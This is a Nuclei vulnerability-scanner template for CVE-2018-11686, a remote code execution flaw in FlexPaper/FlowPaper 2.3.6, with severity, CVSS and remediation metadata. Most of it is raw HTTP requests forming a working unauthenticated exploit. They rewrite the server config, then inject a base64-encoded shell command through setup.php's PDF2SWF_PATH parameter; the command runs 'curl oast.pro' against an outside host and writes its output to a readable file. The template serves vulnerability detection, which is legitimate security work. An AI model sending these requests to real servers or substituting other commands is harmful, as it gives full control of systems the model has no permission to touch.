FlexPaper/FlowPaper 2.3.6 - Remote Code Execution

id: CVE-2018-11686

info:
  name: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution
  author: iamnoooob,pdresearch,pszyszkowski
  severity: critical
  description: |
    The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
  impact: |
    Unauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents.
  remediation: |
    Upgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11686
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-11686
    cwe-id: CWE-20
    epss-score: 0.92639
    epss-percentile: 0.99758
    cpe: cpe:2.3:a:flowpaper:flowpaper:2.3.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: flowpaper
    product: flowpaper
    shodan-query: title:"FlexPaper"
    fofa-query: title="FlexPaper"
  tags: cve,cve2018,flexpaper,flowpaper,rce,vkev,vuln

variables:
  cmd: "curl oast.pro"
  cmd_b: "{{base64(cmd)}}"

http:
  - raw:
      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "index.php?msg=Configuration%20saved!")'
          - 'status_code == 302 || status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /php/setup.php?step=4&PDF2SWF_PATH=echo+{{cmd_b}}+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /php/config/output.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "Interactsh Server")'
          - 'contains(content_type_2, "text/plain")'
          - 'contains(location_1, "index.php")'
        condition: and
# digest: 4b0a00483046022100eb6ec23676fc6f116f4a99f1346b01fcbea1a526de431b2e5fc6b8437cacf2a2022100dfeff504dc563aa88fff0b4f702cdb7d3b889c992833b60ce7f1fab529858af6:922c64590222798bb761d5b6d8e72950